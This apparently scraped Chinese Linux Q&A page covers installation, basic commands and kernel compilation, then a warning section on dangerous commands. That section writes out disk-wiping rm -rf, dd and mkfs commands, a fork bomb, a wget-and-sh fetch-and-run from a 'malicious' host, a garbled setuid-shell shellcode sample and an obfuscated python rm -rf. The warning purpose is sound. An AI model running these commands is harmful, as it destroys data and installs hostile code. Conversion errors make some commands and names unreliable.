導航:首頁 > 操作系統 > linuxany

linuxany

發布時間:2022-09-25 19:31:29

linux怎麼安裝

可使用光碟引導進去安裝,具體操作及事項如下:
Linux安裝前的准備工作
1.用Windows系統收集硬體信息
在安裝Linux之前,您需要藉助Windows系統了解計算機硬體的基本信息,如內存大小、音效卡、顯示器、滑鼠和顯卡型號等。
2.設置從光碟引導系統
Linux支持幾種安裝方式,但直接以光碟開機啟動進行安裝最方便和快速。若要機器以光碟啟動,需要修改BIOS的設置,將CD-ROM變更至開機順序的第一位。
3.Linux分區
Linux分區的表示方法
分區就是將磁碟驅動器分隔成獨立的區域,每個區域都如同一個單獨的磁碟驅動器,在DOS/Windows系統下磁碟分區可分為C、 D和E盤等。但Linux則將磁碟視為塊設備文件來管理使用,它以 /dev(device的縮寫)開頭表示。
例: 在Linux用 「/dev/hda1」表示Windows下的C盤
其中:hd 表示IDE硬碟(SCSI硬碟用sd);hda 為 第一個IDE 硬碟(第二為 hdb);/dev/hda1 為主分區,邏輯分區 從5 開始,如: /dev/hda5、/dev/hda6、/dev/hda7等。
為Linux准備分區
Linux分區和Windows分區不同,不能共用。所以需要為Linux單獨開辟一個空閑的分區,最好是最後一個分區。如圖1中利用Windows下的Partition Magic(分區魔法)軟體,在D盤上騰出空間創建新分區E盤(或利用已有的空閑E盤),文件類型暫設為FAT32,作為稍後創建Linux分區使用,RedHat 9.0 大約需4 ~ 5GB的空間。
4.Linux 的文件系統
對於不同的操作系統,文件系統也不同。Windows文件系統為FAT16、FAT32和NTFS。而Linux的文件系統可分為ext2、ext3、swap和vfat。ext2支持最多為255 個字元的文件名;ext3 是基於 ext2之上,主要優點是減少系統崩潰後恢復文件系統所花費的時間,RedHat 9.0 默認文件系統為ext3;交換區swap是被用於支持虛擬內存;Windows的FAT分區在Linux下顯示為vfat文件類型。

⑵ Linux 常用命令(要求全而精)

1、linux分區
--在linux裡面所有的設備、任何東西,在linux看來都是文件。
--文件在它看來,有兩種形式:
第一種是字元型(鍵盤輸入、列印機);
第二種是二進制型(硬碟、光碟機、U盤)
--linux中所有硬體
--手動分區
--A、至少有兩個分區
/ 根分區
SWAP 交換分區(物理內存大小的兩倍)
--B、個人桌面分區
/
/boot 128MB is enough
/usr
SWAP
/tmp(用於光碟刻錄)

2、linux目錄說明
--/dev/xxyN
--xx (分區所在設備類型:hd--IDE硬碟 sd--SCSI硬碟)
--y (標明分區所在設備
例如:/dev/hda 第一個IDE硬碟 或 /dev/hdb 第二個IDE硬碟 或 /dev/sdb 第二個SCSI硬碟)
--N (數字代表分區:1-4--主分區或擴展分區;邏輯分區從5開始!
例如:/dev/hda3 第一個IDE硬碟上的第三個主分區或擴展分區
/dev/sdb6 第二個SCSI硬碟上的第二個邏輯分區)

3、linux目錄結構
/ 根目錄,最高級別
/bin 系統基本命令存放目錄(/usr/bin)
/boot linux的內核及引導系統程序文件存放目錄(如:vmlinuz、initrd.img)
一般情況下,GRUB或LILO系統引導管理也位於這個目錄
/dev 設備文件存儲目錄,如音效卡、光碟機...
/ect 存放系統設置文件(如用戶賬號密碼、伺服器配置文件等)
/home 普通用戶家目錄,默認存放目錄
/lib 庫文件存放目錄
/lost+found 在ext2或ext3文件系統中,當系統以外崩潰或機器意外關機,而產生一些文件碎片放在這里。
當系統啟動的過程中,fsck工具會檢查這里,並修復已經損壞的文件系統。
有事喜用發生問題,有很多的文件被移到這個目錄中,可能會用手工的方式來修復,或者移文件到原來的位置上。
/media 即插即用型存儲設備的掛載點自動在這個目錄下創建。
如USB盤系統自動掛在後,會在這個目錄下產生一個目錄;
類似cdrom的目錄
/mnt 存放掛載存儲設備的掛載目錄,如cdrom等目錄
/opt 表示可選的意思,有些軟體包也會被安裝在此,也就是自定義軟體包,
比如OpenOffice,或者一些我們自己編譯的軟體包,也可安裝此處。
/proc 操作系統運行時,進程(正在運行的程序)信息及內核信息(比如CPU、硬碟分區、內存信息等)存放在此。
/proc目錄是偽裝的文件系統proc的掛載目錄,proc並不是真正的文件系統
/root linux超級許可權用戶root的家目錄
/sbin 大多是涉及系統管理的命令的存放,只有超級許可權用戶root才可執行命令存放,普通用戶無許可權執行此目錄下的命令
與 /usr/sbin; /usr/X11R6/sbin; usr/local/sbin 目錄相似
(sbin,只有root許可權才能執行)
/tmp 臨時文件目錄,有時用戶運行程序的時候,會產生臨時文件。
/var/tmp目錄和此目錄相似
/usr 系統存放程序的目錄,如命令、幫助文件等。這個目錄下有很多的文件和目錄。
大部分Linux發行版提供的軟體包都安裝在此,涉及伺服器的配置文件就安裝在/ect中。
/usr/share/fonts 字體目錄
/usr/share/man 或 /usr/share/doc 幫助目錄
/usr/bin 或 /usr/local/bin 或 /usr/X11R6/bin 普通用戶可執行文件目錄
/usr/sbin 或 /usr/local/sbin 或 /usr/X11R6/sbin 超級許可權用戶root可執行命令存放目錄
/usr/include 程序頭文件存放目錄
/var (vary)此目錄經常變動
/var/log 用來存放系統日誌
/var/www 用來定義Apache伺服器站點存放
/var/lib 用來存放一些庫文件,如MySQL的,以及MySQL資料庫的存放地。

4、基本命令
--查看幫助 *** --help *** --?
--查看詳細幫助 man ***
--登錄 login
--退出窗口 exit
--關機 shutdown
--重啟 reboot
--初始化 init (run level -/etc/inittab),0-6看第六部分的g

--進入根目錄 cd /
--回上層目錄 cd ..
--相對路徑 cd dev
--絕對路徑 cd /dev
--查用戶名 whoami
--查當前目錄 pwd
--列出當前目錄內容 ls
-l(樹詳細顯示目錄內容)
-m(橫列顯示目錄內容,是屏幕長度顯示)
-a(列出全部文件,包括隱藏文件)
-S(以文檔大小排序)
--創建目錄 mkdir dname
--刪除目錄 rmdir dname
rm -r *** -(遞歸刪除該目錄下所有內容,詢問每個准備刪除的文件)
rm -rf ***-(強制刪除該目錄下所有內容,不詢問)
--創建空白文件 touch ***
(ps:從技術的角度來講,linux的文件後綴名沒有任何意義)
--復制 cp
cp -r **1 **2 (復制1到2中)
--移動 mv
mv -t **1 **2 (把2移動到1中)
--編輯文本 vi [文件名]
--查看文本 cat 由第一行開始顯示文本內容
tac 從最後一行顯示,可以看出 tac 是 cat 的倒著寫
more 一頁一頁的顯示文檔內容
less 與 more 類似,可以往前翻頁
head 只看頭幾行
-N(數字,可根據行數顯示)
tail 只看後幾行
-N(數字,可根據行數顯示)
nl 顯示的時候,順序輸出行號
od 以二進制位的方式讀取檔案內容
--查找文本 find [路徑][查找類型][搜索文件名]
如查找rc.local find /etc -name *.local
--查找命令信息及其位置 whereis 命令
如 whereis ls
--查看環境變數 echo $SHELL
如 echo $PATH (分大小寫:分隔符是:,windows是echo %path%;)
--鏈接 ln
如 ln joe.txt a (硬鏈接,如同復制一個新文件,joe.txt刪除後,a還存在)
a是鏈接的名稱,a和joe.txt同步,然後a的內容和joe.txt一樣
joe.txt改變,a也跟著變
如 ln -s joe.txt b (軟鏈接,如同創建一個快捷方式,joe.txt刪除後,b不存在)
--wc 統計指定文本文件的行數、字數、字元數
--grep(很常用) 在指定的文本文件中查找指定的字元串
grep 字元串 文件名
--col 見管道..
--------------------
----信息顯示命令----
--------------------
--date 顯示和設置日期
--stat 顯示指定文件的相關信息
--who、w 顯示在線登錄用戶
--whoami 顯示用戶自己的身份
--id 顯示當前用戶的id信息
--hostname 顯示主機名稱
--uname 顯示操作系統信息
--dmesg 顯示系統啟動信息
-- 顯示指定的文件(目錄)已使用的磁碟空間
--df 顯示文件系統磁碟空間的使用情況
--free 顯示當前內存和交換空間的使用情況
--fdisk -l 顯示磁碟信息
--locale 顯示當前語言環境

5、掛載點(mount 設備目錄 掛載目錄)
--訪問設備 (那設備當成一個文件,和另外一個文件夾進行綁定)
--例如掛載光碟機:步驟 [cd /mnt]---[mkdir cdr]---[mount /dev/cdrom /mnt/cdr]---[cd cdr]--OK!直接訪問光碟機內容
--卸載掛載設備(umount /dev/cdrom)--注意必須先退出掛載目錄,否則出現"device is busy"錯誤.

6、startup-shutdown(linux啟動流程)
--A、boot sequence(important) linux啟動過程
a. load bios(hardware information)
b. read MBR's config to find out the OS
(MBR--Master Boot Record,硬碟第一個物理扇區,柱面0、磁頭0、扇區1,包含主引導程序和硬碟分區表)
c. load the kernel of the OS
(載入為kernel核心的OS)
d. init process starts...
(啟動linux第一個進程init)
e. execute /etc/rc.d/sysinit
(執行系統最重要的配置文件,後台啟用進程)
(rc.d--run command)
f. start other moles(stc/moles.conf)
(開啟各種模塊,如內存管理模塊、硬碟管理模塊)
g. execute the run level scripts
(系統啟動是分層次的,根據情況執行,每個層次之間沒關系)
0 - 系統停機狀態
1 - 單用戶工作狀態 root
2 - 多用戶狀態(沒有NFS)
3 - 多用戶狀態(有NFS)
NFS - Network File System 網路文件系統,聯網系統
4 - 系統未使用,留給用戶
5 - 圖形界面
6 - 系統正常關閉並重新啟動
如:cd /etc -- 有rc0.d、rc1.d、rc2.d、rc3.d、rc4.d、rc5.d等多個文件夾,保存著各個層次執行的進程文件
h. execute /etc/rc.d/rc.local (重要)
(保存其它進程腳本,如tomcat自動啟動,要修改此配置文件)
i. execute /bin/login
(登錄界面)
j. shell started...

7、vi 文本編輯器
--兩種模式:命令模式 編輯模式
--vi [文件名]
(切換到編輯模式)
a append-游標後添加
i insert-游標前插入
o open-另起一行編輯
esc (切換回命令模式)
:w 存檔
:wq 存檔退出
:q 退出
:q! 不存檔退出
dd 刪除其中一行
dw 刪除一個單詞

(sudo gedit 文本 常用linux下的文本編輯器,比vi好用)

8、用戶設置
--切換用戶(switch user) su username
小技巧:直接exit切換
--添加用戶 useradd username [-g] [組名](分配到某個用戶組)
(創建後會自動在/home目錄下創建該新用戶的文件夾,如/home/username)
--設置密碼 passwd username
--cd /etc
--查看用戶信息 more password
如新增的用戶信息:username:x:500:500::/home/username:/bin/bash
第一個數字,代表用戶組,當添加用戶沒有指定用戶組時,系統會創建一個和用戶ID一樣的組ID;
第二個數字:用戶ID號;
用戶的目錄是/home/username;
用戶的SHELL是/bin/bash
(命令--->SHELL[解釋命令]--->kenrel內核)
SHELL有多種類型,如csh、bash(常用)、bsh、ksh、sh(最原始)
--添加用戶組 groupadd groupname
--查看用戶組信息 more group
--刪除用戶組 groupdel groupname
--修改用戶 usermod [-g] [組名] [用戶名]
--刪除用戶 userdel username
然後把/home的文件夾刪除了 rm -rf 文件夾

9、許可權file privilege
--linux把文件的許可權分成四種:r:read w:write x:execute -:none
如:-rw-r--r--
lrwxrwxrwx
drwxr-xr-x
drwxr-xr-x
第一個數字'-'代表文件,其餘是文件夾,後9位分為3組,每組有四種許可權設置rwx-
第一位表示文件所有者
第二位表示和所有者在同一用戶組的用戶
第三位表示不在同一用戶組的用戶許可權

--設置許可權 (隨意應用,靈活組合!)
1、普通用法
--添加許可權 [chmod +x 文件]
如:-rw-r--r-- ---> -rwxr-xr-x
--刪除許可權 [chmod -x 文件]
如:-rwxr-xr-x ---> -rw-r--r--
--給自己添加許可權 [chmod ?+x 文件]
如此類推,組--g,其他人--o
如:chmod u+x -rw-r--r-- ---> -rwxr--r--
chmod g+x -rw-r--r-- ---> -rw-r-xr--
chmod o+x -rw-r--r-- ---> -rw-r--r-x

2、專業用法 chmod 755/777
--原理,八進制轉二進制
如755,111 101 101, rwx r-x r-x
777,111 111 111, rwx rwx rwx

--修改所有者許可權 chown (change owner)
如:chown 原來文件 file1 的所有者是 root,改成joe的
chown joe file1

10、管道(把上一個命令執行的結果交給下一個命令)
--使用方法:
命令1|命令2|命令3......|命令n
--使用舉例
--$ls -Rl /etc | more
(如 ls -Rl /etc (在控制台模式下,無法返回前面過去的信息),因此需要管道執行該查詢,實現分頁的工作, ls -Rl /etc | more)
--$cat /etc/passwd | wc
(顯示文件結果,再數數有多少行)
--$cat /etc/passwd | grep lrj
(顯示文件結果,再查找包含lrj的行)
--#dmesg | grep eth0
(顯示系統啟動的信息,再查找包含eth0的行--真正含義,檢查網卡執行信息是否正常)
--$man bash | col -b > bash.txt
語法:col [-bfx][-l<緩沖區列數>]
補充說明:在許多UNIX說明文件里,都有RLF控制字元。當我們運用shell特殊字元">"和">>",把說明文件的內容輸出成純文本文件時,控制字元會變成亂碼,col指令則能有效濾除這些控制字元。
參數:
-b 過濾掉所有的控制字元,包括RLF和HRLF。
-f 濾除RLF字元,但允許將HRLF字元呈現出來。
-x 以多個空格字元來表示跳格字元。
-l<緩沖區列數> 預設的內存緩沖區有128列,您可以自行指定緩沖區的大小。
--$ls -l | grep "^d"
(用正則表達式篩選出目錄列表中 頭字母為'd' 的內容--目錄)(^是正則表達式開頭部分)
--$ls -l * | grep "^-" | wc -l
(列出目錄列表中 頭字元為'-'的內容--文件,並統計顯示的行數wc -l)

11、其他命令
--wall(warning all) 通知所有人
a.命令替換
如 wall `date`、 cd 'pwd'、mkbootdisk $(uname -r)
b.重定向
重定向輸出:
如 ls > cmd.txt ,把文件寫到cmd.txt,不輸出在控制台
ls >> cmd.txt ,把文件追加寫到cmd.txt
重定向輸入:
如 wall > cmd.txt,把文本內容發給所有人

12、修改系統的默認系統級別
常用3和5
3 - 多用戶狀態(有NFS)
NFS - Network File System 網路文件系統,聯網系統
5 - 圖形界面

PS.設置用戶許可權: sudo chmod 777 目錄
4表示讀,2表示寫,1表示執行.
第一位表示文件所有者,第二位表示和所有者在同一用戶組的用戶,第三位表示不在同一用戶組的用戶許可權.
755表示文件所有者可讀寫,執行.
第二位5表示與所有者在同一用戶組的可讀,可執行,不可寫.
第三位5表示其它組可讀,可執行,不可寫. 轉載於Joewalker在本人空間也有詳細說明

⑶ 如何編譯linux內核

內核,是一個操作系統的核心。它負責管理系統的進程、內存、設備驅動程序、文件和網路系統,決定著系統的性能和穩定性。Linux作為一個自由軟體,
在廣大愛好者的支持下,內核版本不斷更新。新的內核修訂了舊內核的bug,並增加了許多新的特性。如果用戶想要使用這些新特性,或想根據自己的系統度身定
制一個更高效,更穩定的內核,就需要重新編譯內核。本文將以RedHat Linux 6.0(kernel
2.2.5)為操作系統平台,介紹在Linux上進行內核編譯的方法。

一、 下載新內核的源代碼

目前,在Internet上提供Linux源代碼的站點有很多,讀者可以選擇一個速度較快的站點下載。筆者是從站點www.kernelnotes.org上下載了Linux的最新開發版內核2.3.14的源代碼,全部代碼被壓縮到一個名叫Linux-2.3.14.tar.gz的文件中。

二、 釋放內核源代碼

由於源代碼放在一個壓縮文件中,因此在配置內核之前,要先將源代碼釋放到指定的目錄下。首先以root帳號登錄,然後進入/usr/src子目錄。如果用戶在安裝Linux時,安裝了內核的源代碼,則會發現一個linux-2.2.5的子目錄。該目錄下存放著內核2.2.5的源代碼。此外,還會發現一個指向該目錄的鏈接linux。刪除該連接,然後將新內核的源文件拷貝到/usr/src目錄中。

(一)、用tar命令釋放內核源代碼

# cd /usr/src

# tar zxvf Linux-2.3.14.tar.gz

文件釋放成功後,在/usr/src目錄下會生成一個linux子目錄。其中包含了內核2.3.14的全部源代碼。

(二)、將/usr/include/asm、/usr/inlude/linux、/usr/include/scsi鏈接到/usr/src/linux/include目錄下的對應目錄中。

# cd /usr/include

# rm -Rf asm linux

# ln -s /usr/src/linux/include/asm-i386 asm

# ln -s /usr/src/linux/include/linux linux

# ln -s /usr/src/linux/include/scsi scsi

(三)、刪除源代碼目錄中殘留的.o文件和其它從屬文件。

# cd /usr/src/linux

# make mrproper

三、 配置內核

(一)、啟動內核配置程序。

# cd /usr/src/linux

# make config

除了上面的命令,用戶還可以使用make menuconfig命令啟動一個菜單模式的配置界面。如果用戶安裝了X window系統,還可以執行make xconfig命令啟動X window下的內核配置程序。

(二)、配置內核

Linux的
內核配置程序提供了一系列配置選項。對於每一個配置選項,用戶可以回答"y"、"m"或"n"。其中"y"表示將相應特性的支持或設備驅動程序編譯進內
核;"m"表示將相應特性的支持或設備驅動程序編譯成可載入模塊,在需要時,可由系統或用戶自行加入到內核中去;"n"表示內核不提供相應特性或驅動程序
的支持。由於內核的配置選項非常多,本文只介紹一些比較重要的選項。

1、Code maturity level options(代碼成熟度選項)

Prompt for development and/or incomplete code/drivers
(CONFIG_EXPERIMENTAL) [N/y/?]
如果用戶想要使用還處於測試階段的代碼或驅動,可以選擇「y」。如果想編譯出一個穩定的內核,則要選擇「n」。

1、 Processor type and features(處理器類型和特色)

(1)、Processor family (386, 486/Cx486, 586/K5/5x86/6x86, Pentium/K6/TSC, PPro/6x86MX) [PPro/6x86MX] 選擇處理器類型,預設為Ppro/6x86MX。

(2)、Maximum Physical Memory (1GB, 2GB) [1GB] 內核支持的最大內存數,預設為1G。

(3)、Math emulation (CONFIG_MATH_EMULATION) [N/y/?] 協處理器模擬,預設為不模擬。

(4)、MTRR (Memory Type Range Register) support (CONFIG_MTRR) [N/y/?]

選擇該選項,系統將生成/proc/mtrr文件對MTRR進行管理,供X server使用。

(5)、Symmetric multi-processing support (CONFIG_SMP) [Y/n/?] 選擇「y」,內核將支持對稱多處理器。

2、 Loadable mole support(可載入模塊支持)

(1)、Enable loadable mole support (CONFIG_MODULES) [Y/n/?] 選擇「y」,內核將支持載入模塊。

(2)、Kernel mole loader (CONFIG_KMOD) [N/y/?] 選擇「y」,內核將自動載入那些可載入模塊,否則需要用戶手工載入。

3、 General setup(一般設置)

(1)、Networking support (CONFIG_NET) [Y/n/?] 該選項設置是否在內核中提供網路支持。

(2)、PCI support (CONFIG_PCI) [Y/n/?] 該選項設置是否在內核中提供PCI支持。

(3)、PCI access mode (BIOS, Direct, Any) [Any] 該選項設置Linux探測PCI設備的方式。選擇「BIOS」,Linux將使用BIOS;選擇「Direct」,Linux將不通過BIOS;選擇「Any」,Linux將直接探測PCI設備,如果失敗,再使用BIOS。

(4)Parallel port support (CONFIG_PARPORT) [N/y/m/?] 選擇「y」,內核將支持平行口。

4、 Plug and Play configuration(即插即用設備支持)

(1)、Plug and Play support (CONFIG_PNP) [Y/m/n/?] 選擇「y」,內核將自動配置即插即用設備。

(2)、ISA Plug and Play support (CONFIG_ISAPNP) [Y/m/n/?] 選擇「y」,內核將自動配置基於ISA匯流排的即插即用設備。

5、 Block devices(塊設備)

(1)、Normal PC floppy disk support (CONFIG_BLK_DEV_FD) [Y/m/n/?] 選擇「y」,內核將提供對軟盤的支持。

(2)、Enhanced IDE/MFM/RLL disk/cdrom/tape/floppy support (CONFIG_BLK_DEV_IDE) [Y/m/n/?] 選擇「y」,內核將提供對增強IDE硬碟、CDROM和磁帶機的支持。

6、 Networking options(網路選項)

(1)、Packet socket (CONFIG_PACKET) [Y/m/n/?] 選擇「y」,一些應用程序將使用Packet協議直接同網路設備通訊,而不通過內核中的其它中介協議。

(2)、Network firewalls (CONFIG_FIREWALL) [N/y/?] 選擇「y」,內核將支持防火牆。

(3)、TCP/IP networking (CONFIG_INET) [Y/n/?] 選擇「y」,內核將支持TCP/IP協議。

(4)The IPX protocol (CONFIG_IPX) [N/y/m/?] 選擇「y」,內核將支持IPX協議。

(5)、Appletalk DDP (CONFIG_ATALK) [N/y/m/?] 選擇「y」,內核將支持Appletalk DDP協議。

8、SCSI support(SCSI支持)

如果用戶要使用SCSI設備,可配置相應選項。

9、Network device support(網路設備支持)

Network device support (CONFIG_NETDEVICES) [Y/n/?] 選擇「y」,內核將提供對網路驅動程序的支持。

10、Ethernet (10 or 100Mbit)(10M或100M乙太網)

在該項設置中,系統提供了許多網卡驅動程序,用戶只要選擇自己的網卡驅動就可以了。此外,用戶還可以根據需要,在內核中加入對FDDI、PPP、SLIP和無線LAN(Wireless LAN)的支持。

11、Character devices(字元設備)

(1)、Virtual terminal (CONFIG_VT) [Y/n/?] 選擇「y」,內核將支持虛擬終端。

(2)、Support for console on virtual terminal (CONFIG_VT_CONSOLE) [Y/n/?]

選擇「y」,內核可將一個虛擬終端用作系統控制台。

(3)、Standard/generic (mb) serial support (CONFIG_SERIAL) [Y/m/n/?]

選擇「y」,內核將支持串列口。

(4)、Support for console on serial port (CONFIG_SERIAL_CONSOLE) [N/y/?]

選擇「y」,內核可將一個串列口用作系統控制台。

12、Mice(滑鼠)

PS/2 mouse (aka "auxiliary device") support (CONFIG_PSMOUSE) [Y/n/?] 如果用戶使用的是PS/2滑鼠,則該選項應該選擇「y」。

13、Filesystems(文件系統)

(1)、Quota support (CONFIG_QUOTA) [N/y/?] 選擇「y」,內核將支持磁碟限額。

(2)、Kernel automounter support (CONFIG_AUTOFS_FS) [Y/m/n/?] 選擇「y」,內核將提供對automounter的支持,使系統在啟動時自動 mount遠程文件系統。

(3)、DOS FAT fs support (CONFIG_FAT_FS) [N/y/m/?] 選擇「y」,內核將支持DOS FAT文件系統。

(4)、ISO 9660 CDROM filesystem support (CONFIG_ISO9660_FS) [Y/m/n/?]

選擇「y」,內核將支持ISO 9660 CDROM文件系統。

(5)、NTFS filesystem support (read only) (CONFIG_NTFS_FS) [N/y/m/?]

選擇「y」,用戶就可以以只讀方式訪問NTFS文件系統。

(6)、/proc filesystem support (CONFIG_PROC_FS) [Y/n/?] /proc是存放Linux系統運行狀態的虛擬文件系統,該項必須選擇「y」。

(7)、Second extended fs support (CONFIG_EXT2_FS) [Y/m/n/?] EXT2是Linux的標准文件系統,該項也必須選擇「y」。

14、Network File Systems(網路文件系統)

(1)、NFS filesystem support (CONFIG_NFS_FS) [Y/m/n/?] 選擇「y」,內核將支持NFS文件系統。

(2)、SMB filesystem support (to mount WfW shares etc.) (CONFIG_SMB_FS)

選擇「y」,內核將支持SMB文件系統。

(3)、NCP filesystem support (to mount NetWare volumes) (CONFIG_NCP_FS)

選擇「y」,內核將支持NCP文件系統。

15、Partition Types(分區類型)

該選項支持一些不太常用的分區類型,用戶如果需要,在相應的選項上選擇「y」即可。

16、Console drivers(控制台驅動)

VGA text console (CONFIG_VGA_CONSOLE) [Y/n/?] 選擇「y」,用戶就可以在標準的VGA顯示方式下使用Linux了。

17、Sound(聲音)

Sound card support (CONFIG_SOUND) [N/y/m/?] 選擇「y」,內核就可提供對音效卡的支持。

18、Kernel hacking(內核監視)

Magic SysRq key (CONFIG_MAGIC_SYSRQ) [N/y/?] 選擇「y」,用戶就可以對系統進行部分控制。一般情況下選擇「n」。

四、 編譯內核

(一)、建立編譯時所需的從屬文件

# cd /usr/src/linux

# make dep

(二)、清除內核編譯的目標文件

# make clean

(三)、編譯內核

# make zImage

內核編譯成功後,會在/usr/src/linux/arch/i386/boot目錄中生成一個新內核的映像文件zImage。如果編譯的內核很大的話,系統會提示你使用make bzImage命令來編譯。這時,編譯程序就會生成一個名叫bzImage的內核映像文件。

(四)、編譯可載入模塊

如果用戶在配置內核時設置了可載入模塊,則需要對這些模塊進行編譯,以便將來使用insmod命令進行載入。

# make moles

# make modelus_install

編譯成功後,系統會在/lib/moles目錄下生成一個2.3.14子目錄,裡面存放著新內核的所有可載入模塊。

五、 啟動新內核

(一)、將新內核和System.map文件拷貝到/boot目錄下

# cp /usr/src/linux/arch/i386/boot/bzImage /boot/vmlinuz-2.3.14

# cp /usr/src/linux/System.map /boot/System.map-2.3.14

# cd /boot

# rm -f System.map

# ln -s System.map-2.3.14 System.map

(二)、配置/etc/lilo.conf文件。在該文件中加入下面幾行:

default=linux-2.3.14

image=/boot/vmlinuz-2.3.14

label=linux-2.3.14

root=/dev/hda1

read-only

(三)、使新配置生效

# /sbin/lilo

(四)、重新啟動系統

# /sbin/reboot

新內核如果不能正常啟動,用戶可以在LILO:提示符下啟動舊內核。然後查出故障原因,重新編譯新內核即可。

了解更多開源相關,去LUPA社區看看吧。

⑷ 千萬千萬不要運行的Linux命令

文中列出的命令絕對不可以運行,即使你覺得很好奇也不行,除非你是在虛擬機上運行(出現問題你可以還原),因為它們會實實在在的破壞你的系統。所以不在root等高級管理許可權下執行命令是很好的習慣。

早晚有一天,Linux 系統會像 Windows 那樣流行,用的人越來越多,包括對計算機不是很了解的人,本文的目的就是告訴大家:在Linux給你最大程度自由度的同時,也使得破壞系統變得更加容易,如果你不了解某些命令的意義,下載執行包含惡意命令的腳本,或者被騙運行某些命令,很容易讓你哭 都來不及。

這並不是說明 Linux 不安全,只是說明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令會刪除你硬碟上的文件,rm 的 -r 遞歸刪除,和 -f 強制刪除是很危險的選項,即使日常操作,也會遇到誤刪文件的情況。

sudo rm -rf / 刪除根分區全部的文件
sudo rm -rf . 刪除當前目錄下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 刪除根分區和家目錄,即使你不是root,家目錄還是不能倖免。

同樣,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的話,運行下面的命令會擦除你的硬碟分區:

sudo mkfs.xxxx

dd 是強大的 IO 輸入輸出定向工具,如果使用不當,破壞性很大,不僅僅是當前分區,當前系統,有的時候是整個硬碟。

sudo dd if=/dev/zero of=/dev/sda 全部硬碟清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一塊硬碟的內容覆蓋第二塊的內容。
sudo dd if=something of=/dev/sda 往硬碟上寫垃圾數據。

同理,直接把命令結果定向到硬碟上,相當於往硬碟上寫垃圾數據:

any_command > /dev/sda 用隨意的數據破壞硬碟

上面的 sda 、sdb 也可能是其他類似的名稱。Linux 的 /dev 系統給操縱硬體提供了很方便和強大的功能,同時也使得破壞變得更容易。

fork 命令打開一個子進程,如果把 fork 放在無限循環中,最終子進程會耗盡所有內存資源:

:(){:|:&};:

這段不知所雲的符號,可以讓 Shell 不停的 fork 子進程,最後導致內存耗盡,不得不重啟,這不是 bug,只是 Shell 語句故意寫成簡寫的形式而已。下面的同理:

fork while fork

有的時候,壓縮包也是一個破壞來源~

有的壓縮包要求你解壓到某個系統中已經存在的目錄中,這時候你就要特別小心了,壓縮包裡面可能有成千上萬的小文件,以各種文件名嘗試覆蓋你現有的文件。

有的壓縮包看起來很小,但是解壓出來是上 GB 的垃圾數據,會充斥你的硬碟。

從不正規網站下載的程序、腳本,同樣會有包含惡意命令的危險,不可隨便執行:

wget [url]http://some_place/some_file[/url]
sh ./some_file
wget [url]http://hax018r.org/malicious-script[/url]
sh ./malicious-script

載腳本要確保來源正規,如果有能力,可以閱讀其代碼。即使有源代碼的程序,也不要隨便編譯執行:

char esp[] __attribute__ ((section(".text"))) /* e.s.p

elease */
= ""
""
""
""
""
""
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

上面看起來只是一堆沒有意義的 16 進制數據,如果有人告訴你,運行這個程序你就可以不輸入密碼取得系統的 root 許可權,你可不要相信他,上面的程序實際運行的是「rm -rf ~ / & 」。

python 一類的腳本語言,同樣可以拿來搞破壞:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

這段程序實際上會執行 rm -rf *,也許你很奇怪上面程序結尾的 「sn!.sg! 」 是什麼意思,實際上就是 rm -rf * 每個字母的下一個!

那麼我們如何避免運行惡意程序呢?

⑸ Linux實用命令有哪些

1、bc


這個Linux命令用於精度比較高的數學運算。如:開平方根等。下面利用bc命令寫個腳本(文件名:sqrt)


#!/bin/bashif [ $then echo 'Usage: sqrt number' exit 1else echo -e "sqrt($1) quit " | bc -q -ifi


接著,可使用這個腳本進行平方根運算:


[hchen@RHELSVR5]$ ./sqrt 366[hchen@RHELSVR5]$ ./sqrt 2.00001.4142[hchen@RHELSVR5]$ ./sqrt 10.00003.1622


2、split


如果你的文件很大,卻接到命令要把它分割成小文件,那麼這個命令就派上用場了。


[hchen@RHELSVR5 applebak]# ls -l largefile.tar.gz-rw-r--r-- 1 hchen hchen 436774774 04-17 02:00 largefile.tar.gz[hchen@RHELSVR5 applebak]# split -b 50m largefile.tar.gz LF_[hchen@RHELSVR5]# ls -l LF_*-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_aa-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ab-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ac-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ad-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ae-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_af-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ag-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ah-rw-r--r-- 1 hchen hchen 17344374 05-10 18:35 LF_ai。


反而來,合並也只需要簡單的合並就行,如:


[hchen@RHELSVR5]# cat LF_* >largefile.tar.gz。


3、pgrep


pgrep名字前有個p,可以猜想它可能和grep有關,確實這是進程相關的grep命令。不過,這個命令主要是用來列舉進程ID的。如:


$ pgrep -u hchen2244122444


這個命令相當於:


ps -ef | egrep '^hchen' | awk '{print $2}'。


4、nl


nl命令其它和cat命令很像,只不過它會打上行號。如下所示:


[hchen@RHELSVR5 include]# nl stdio.h | head -n 10 1 /* Define ISO C stdio on top of C++ iostreams. 2 Copyright (C) 1991,1994-2004,2005,2006 Free Software Foundation, Inc. 3 This file is part of the GNU C Library. 4 The GNU C Library is free software; you can redistribute it and/or 5 modify it under the terms of the GNU Lesser General Public 6 License as published by the Free Software Foundation; either 7 version 2.1 of the License, or (at your option) any later version. 8 The GNU C Library is distributed in the hope that it will be useful。


5、ldd


這個命令,用來可執行文件所使用了動態鏈接庫。如:


